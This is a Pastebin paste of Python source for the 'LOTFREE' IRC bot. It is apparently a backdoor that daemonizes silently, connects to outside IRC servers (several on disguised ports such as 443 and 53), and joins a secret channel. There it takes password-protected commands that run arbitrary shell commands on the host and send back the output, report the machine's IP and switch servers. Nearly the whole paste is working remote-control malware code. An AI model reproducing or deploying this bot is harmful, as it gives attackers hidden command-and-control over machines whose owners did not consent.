Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # LOTFREE IRC BOT WITH SSL SUPPORT
- # http://lotfree.next-touch.com/
- # -----
- # Coded by the LOTFREE team and N-0-X (n0x@noxistes.org)
- import socket, os, urllib, random, sys
- # other required libs: time and md5 is antiflood and ident are set to True
- class bot:
- # ssl IRC servers
- # default_server="proxy.epiknet.org:443"
- # default_server="ssl.netrusk.net:6697"
- default_server="snowball.mo.us.zirc.org:443"
- # default_server="kiwi.blabber.net:443"
- # default_server="estranged.blabber.net:25"
- # default_server="estranged.blabber.net:53"
- # default_server="estranged.blabber.net:443"
- # default_server="nomad.blabber.net:22"
- # default_server="satsang.shadowfire.org:443"
- # default_server="shikari.shadowfire.org:443"
- # default_server="irc.rovno.ua:7771"
- #
- # non-ssl IRC servers
- # default_server="snowball.mo.us.zirc.org:80"
- # default_server="snowball.mo.us.zirc.org:21"
- # default_server="snowball.mo.us.zirc.org:53"
- # default_server="rucus.zanet.net:25"
- # default_server="proxy.epiknet.org:80"
- # default_server="estranged.blabber.net:110"
- # default_server="irc.esigetel.fr:6667"
- # set your preferences
- default_chan="#g4m4r4"
- default_key="" #n0futur3*" # Channel key, leave it empty for a non-protected chan
- default_nick="" # randomly generated
- random_nick = True # if True, random chars will be added to the specified default nick
- max_nick_len = 16 # maximum size of the nickname
- anti_flood = False
- sleep_time = 5 # in seconds
- max_msg = 5 # maximum messages before considered as flood
- ident = True # must send the correct password to use the bot
- passwd = "f291caaa8226b6ccbceb9ac54ef3c03c" # pass = "w00t"
- allow_list_ident = True # allow to show the list of identified users (?)
- pre_list1 = "Identified users:" # message to be sent before ident list
- now_ident = "You are now identified." # greeting message (can't be empty!)
- wrongpwd = "Fuck off!" # wrong password message (can be empty)
- ident_msg = "Who are you?" # sentence that "asks" the password to users that aren't identified
- quit_msg = "Screw you guys, I'm goin' home! - Cartman" # basicly useless but it's just there if you want it =D
- # command names
- pre_cmd = "!" # that's the symbol that must be before the command
- exit_cmd = "exit" # so the command is !exit (pre_cmd+exit_cmd)
- ip_cmd = "ip" # get ip
- op_cmd = "op" # get the chanop right
- o_shell = "open_shell" # every privmsg will be sent to shell
- c_shell = "close_shell" # guess!
- connect_ = "connect" # connect to a new server
- chan_chg = "join" # to change channel
- one_scmd = "sh" # command to execute only one command
- irc_cmd = "irc" # send an irc command
- fortunes = "fortune" # don't know what to do? :P
- ch_dir = "cd" # that's to change current directory
- list_ident = "list-ident" # same thing for identified users
- empty_ident="empty-ident" # delete identified users
- identify = "password:" # identify
- chan_sff = "chan" # channel stuff
- # other vars -- edit at your own risk! (and don't risk it!)
- debug=True # set to FALSE if not debugguing or you will have messages from everywhere!!
- shell_on = False
- ssl=0
- connected=0
- sock=0
- fin=None
- fout=None
- sock_ssl=0
- buffer_list=[]
- append=0
- registered = False;
- if ident == True: allowed=[] # create a list of identified users (user's nick + host)
- # the End =)
- def __init__(self):
- self.connected=0
- chars="aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPiqQrRsStTuUwWxXyYzZ0123456789"
- to_do = self.max_nick_len - len(self.default_nick)
- if to_do < 0: to_do = 0
- if self.random_nick==True:
- for i in range(to_do):
- self.default_nick=self.default_nick+chars[random.randint(0,len(chars)-1)]
- def connect(self,serveur=default_server):
- host=serveur.split(":")[0]
- try:
- port=int(serveur.split(":")[1])
- except (ValueError,IndexError):
- port=6667
- if self.connected==1:
- if self.ssl==1:
- del self.ssl_sock
- self.sock.close()
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.connect((host, port))
- # we try a ssl connection
- try:
- self.ssl_sock = socket.ssl(self.sock)
- if self.debug==True:
- print repr(self.ssl_sock.server()) #self.debug
- print repr(self.ssl_sock.issuer()) #self.debug
- print "using ssl :)" #self.debug
- self.ssl=1
- except socket.sslerror:
- self.sock.close()
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.connect((host, port))
- self.fin=self.sock.makefile("rb")
- self.fout=self.sock.makefile("wb")
- self.connected=1
- def auth(self):
- self.send("PASS youwontneverfondthisone")
- self.send("NICK "+self.default_nick)
- self.send("USER "+self.default_nick+" localhost nsa.gov :unknown")
- self.send("JOIN "+self.default_chan+" "+self.default_key)
- if self.default_key != "": self.send("MODE "+self.default_chan+" +k "+self.default_key) # you can join a chan without a key
- self.send("MODE "+self.default_chan+" +s")
- def send(self,msg):
- if self.ssl==1:
- self.ssl_sock.write(msg+"\r\n")
- else:
- self.fout.write(msg+"\r\n")
- self.fout.flush()
- def recv(self):
- if self.ssl==1:
- buffer=""
- if self.buffer_list==[]:
- while not buffer.endswith("\r\n"):
- buffer=buffer+self.ssl_sock.read()
- self.buffer_list=buffer.split("\r\n")
- self.buffer_list=[elem for elem in self.buffer_list if elem!=""]
- data=self.buffer_list.pop(0)
- else:
- data=self.fin.readline().strip()
- return data
- def getip(self):
- return urllib.urlopen("http://www.whatismyip.org/").readline()
- def shell(self,msg,origine):
- import time
- if (len(msg.split(" "))>1 and self.shell_on == False) or (msg.strip() != "" and self.shell_on == True):
- if self.shell_on == False: the_cmd = " ".join(msg.split(" ")[1:]);
- else: the_cmd = msg.strip()[1:] # split(" ")[0:] <=> strip() && [1:] to not have preceding ":"
- fd=os.popen('{ ' + the_cmd + '; } 2>&1', 'r') # 'stolen' from the commands module
- output=fd.readlines()
- flood_cnt = self.max_msg;int_num = 0;
- for line in output:
- self.send("NOTICE "+origine+" :"+line.strip())
- int_num += 1
- if self.anti_flood == True and int_num > flood_cnt:
- self.send("NOTICE "+origine+" :> Anti-flood is ON: sleeping "+str(self.sleep_time)+" seconds <")
- time.sleep(self.sleep_time); int_num = 0;
- fd.close()
- else: self.notice_msg(0)
- def notice_msg(self,num):
- if self.debug == True: print "Going to notice #"+str(num)
- if num == 0: return "Not enough arguments"
- elif num == 1 and self.shell_on == True: return "> Shell closed <"
- elif num == 1 and self.shell_on == False: return "> Shell opened: every other message will be considered as a command"
- elif num == 2: return "Current directory"
- def cmds(self,rcpt,msg,msg_args,msg_cmd,origine):
- if msg_cmd==":"+self.pre_cmd+self.fortunes: #!fortunes
- fd=os.popen("fortune","r")
- output=fd.readlines()
- for line in output: self.send("NOTICE "+origine+" :"+line)
- fd.close()
- elif msg_cmd==":"+self.pre_cmd+self.exit_cmd: #!exit
- if self.connected==1:
- self.send("QUIT :"+self.quit_msg);
- if self.ssl==1:
- del self.ssl_sock
- self.sock.close()
- raise SystemExit # instead of "break" because it's not in a loop anymore ;)
- elif msg_cmd==":"+self.pre_cmd+self.one_scmd: #!sh
- self.shell(msg,origine)
- elif msg_cmd==":"+self.pre_cmd+self.irc_cmd: #send irc command
- if len(msg.split(" "))>1:
- self.send(" ".join(msg.split(" ")[1:]))
- else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
- elif msg_cmd==":"+self.pre_cmd+self.chan_sff: # channel stuff
- if (len(msg.split(" ")))>1:
- self.send("PRIVMSG ChanServ :"+msg.split(" ")[1]+" "+self.default_chan+" "+" ".join(msg.split(" ")[2:]))
- else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
- elif msg_cmd==":"+self.pre_cmd+self.ip_cmd: #get ip
- self.send("NOTICE "+origine+" :"+self.getip())
- elif msg_cmd==":"+self.pre_cmd+self.connect_: #change servers
- if len(msg.split(" "))>1:
- self.connect(msg.split(" ")[1])
- else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
- elif msg_cmd==":"+self.pre_cmd+self.chan_chg: #change channels
- if len(msg.split(" "))>1:
- self.send("PART "+self.default_chan)
- self.default_chan=msg.split(" ")[1]
- if len(msg.split(" "))>2: self.default_key=msg.split(" ")[2]
- else: self.default_key="";
- self.send("JOIN "+self.default_chan+" "+self.default_key)
- if self.default_key!="": self.send("MODE "+self.default_chan+" +k "+self.default_key)
- self.send("MODE "+self.default_chan+" +s")
- else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
- elif msg_cmd==":"+self.pre_cmd+self.o_shell: #open shell
- self.send("NOTICE "+origine+" :"+self.notice_msg(1))
- self.shell_on = True;
- elif msg_cmd==":"+self.pre_cmd+self.c_shell: #close shell
- self.send("NOTICE "+origine+" :"+self.notice_msg(1))
- self.shell_on = False;
- elif msg_cmd==":"+self.pre_cmd+self.list_ident and self.allow_list_ident == True and self.ident == True: # list ident
- self.send("NOTICE "+origine+" :"+self.pre_list1)
- for y in range(len(self.allowed)):
- self.send("NOTICE "+origine+" :"+self.allowed[y])
- elif msg_cmd==":"+self.pre_cmd+self.empty_ident and self.allow_list_ident == True and self.ident == True: # empty ident
- self.allowed=[]
- elif msg_cmd==":"+self.pre_cmd+self.ch_dir:
- try:
- os.chdir(msg[4:].strip())
- self.send("NOTICE "+origine+" :"+self.notice_msg(2)+" "+os.getcwd())
- except OSError:
- pass
- elif msg_cmd==":"+self.pre_cmd+self.op_cmd:
- self.send("MODE "+self.default_chan+" +o "+origine)
- elif self.shell_on == True: # execute every message as a command -- must be at bottom!
- self.shell(msg,origine)
- # end of the cmds def
- def loop(self):
- while True:
- data=self.recv()
- if self.debug==True: print data #self.debug
- if data.startswith('PING'):
- self.send("PONG "+data.split(" ")[1])
- if self.debug == True: print "PONGed "+data.split(" ")[1]
- elif data[0]==':':
- (who, msg)=data[1:].split(" ",1)
- origine=who.split("!")[0]
- (cmd, args)=msg.split(" ",1)
- if cmd=="PRIVMSG":
- (rcpt,msg)=args.split(" ",1)
- if len(msg.split(" ")) > 1: msg_args = msg.split(" ")[1:]; msg_args = "".join(["%s" % k for k in msg_args])
- else: msg_args = ""
- msg_cmd = msg.split(" ")[0]
- if self.ident == False:
- self.cmds(rcpt,msg,msg_args,msg_cmd,origine) # call the cmd def
- elif self.ident == True:
- import md5
- if self.allowed.__contains__(who) == False: # the user is NOT identified (using nick+hostnm)
- if msg_cmd ==":"+self.pre_cmd+self.identify:
- if self.debug == True: print "Checking password ... "
- # the user sent the command to identify, check if password is correct
- if md5.new(msg_args).hexdigest()==self.passwd:
- self.send("NOTICE "+origine+" :"+self.now_ident)
- self.allowed.append(who)
- if self.debug == True: print "-----> allowed["+str(len(self.allowed)-1)+"] = "+self.allowed[-1]
- elif md5.new(msg_args).hexdigest()!=self.passwd and self.wrongpwd != "":
- self.send("NOTICE "+origine+" :"+self.wrongpwd)
- # Comment the following line for a silent bot
- elif self.ident_msg != "": self.send("NOTICE "+origine+" :"+self.ident_msg)
- else: self.cmds(rcpt,msg,msg_args,msg_cmd,origine)
- elif cmd=="NOTICE" and origine.lower()=="chanserv": # check for services
- do_it = False;
- if self.debug == True: print "Received message for service called:" + origine.lower()
- if self.ident == True and len(self.allowed) > 0: machin = self.allowed; do_it = True;
- elif self.ident == False: machin = list(); machin.append(self.default_chan); do_it = True;
- if do_it == True:
- for ugly in range(len(machin)): self.send("NOTICE "+machin[ugly].split("!")[0]+" :<"+origine+"> "+msg)
- if self.debug == True: print "Noticing "+machin[ugly].split("!")[0]
- elif do_it == False and self.debug == True: print "Ain't doing it!"
- elif cmd=="KICK":
- self.send("JOIN "+self.default_chan+" "+self.default_key)
- elif cmd=="432": # bad nickname -- must be before 451
- if self.debug == True: print "Argh! Bad nickname!"
- self.default_nick=""; self.__init__() # restart bot
- elif cmd=="451":
- if self.debug == True: print "Oops, not registered ..."
- if self.registered == False: self.auth()
- elif cmd=="001": # we're welcomed
- self.registered = True;
- if __name__ == '__main__':
- try:
- if os.fork() > 0: os._exit(0)
- except OSError, error:
- os._exit(1)
- os.chdir('/')
- os.setsid()
- os.umask(0)
- # that's to not have any output AT ALL in the shell
- # it's not a real daemon =)
- if bot().debug == False:
- sys.stdin.close() # otherwise no message will be displayed (even errors)
- sys.stdout=open("/dev/null", 'w') # idem
- sys.stderr=open("/dev/null", 'w') # ... idem!
- try:
- pid = os.fork()
- if pid > 0:
- os._exit(0)
- except OSError, error:
- os._exit(1)
- mybot=bot()
- mybot.connect()
- mybot.auth()
- mybot.loop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement